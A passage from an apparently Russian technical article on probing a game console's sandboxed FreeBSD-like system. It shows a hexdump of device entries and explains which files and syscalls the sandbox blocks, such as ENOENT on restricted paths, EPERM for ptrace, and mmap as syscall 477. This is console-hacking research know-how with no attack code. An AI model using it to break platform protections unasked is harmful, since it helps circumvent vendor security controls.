0000220: 3e00 0000 0c00 0203 616a 6d00 4100 0000 >.......ajm.A...
0000230: 0c00 0203 7576 6400 4200 0000 0c00 0203 ....uvd.B.......
0000240: 7663 6500 4500 0000 1800 020d 6e6f 7469 vce.E.......noti
0000250: 6669 6361 7469 6f6e 3000 0000 4600 0000 fication0...F...
0000260: 1800 020d 6e6f 7469 6669 6361 7469 6f6e ....notification
0000270: 3100 0000 5000 0000 1000 0206 7573 6263 1...P.......usbc
0000280: 746c 0000 5600 0000 1000 0206 6361 6d65 tl..V.......came
0000290: 7261 0000 8500 0000 0c00 0203 726e 6700 ra..........rng.
00002a0: 0701 0000 0c00 0403 7573 6200 c900 0000 ........usb.....
00002b0: 1000 0a07 7567 656e 302e 3400 0000 0000 ....ugen0.4.....
00002c0: 0000 0000 0000 0000 0000 0000 0000 0000 ................
Некоторые из этих устройств можно читать, например чтение /dev/urandom
заполнит память случайными данными.
Также можно пропарсить эту память и получить список сущностей; взгляните на browser.html
из репозитория, который выполняет роль файлового менеджера:
Увы, из-за песочницы мы не имеем полного доступа к файловой системе. Попытка считать файлы или директории, которые существуют, но доступ к ним ограничен, вернет вам ошибку 2, ENOENT
, "No such file or directory"
. Правда, мы все равно можем получить доступ к разным интересностям — зашифрованным файлам сохранений, трофеям и информации об аккаунте — подробнее о них я расскажу в своих следующих статьях.
Песочница
Проблема с работой системных вызовов не ограничивается отдельными путями — есть и другие причины, по которым их не удается выполнить.
Чаще всего, запрещенный системный вызов просто вернет ошибку 1, EPERM
, "Operation not permitted"
; это утверждение справедливо для вызовов вроде ptrace
, поскольку другие системные вызовы не будут работать по самым различным причинам.
Совместимые системные вызовы отключены. К примеру, если вы хотите вызвать mmap
, то должны использовать системный вызов номер 477, а не 71 или 197; в противном случае, вы получите сегфолт.
Другие системные вызовы, вроде exit
, также вызовут ошибку сегмента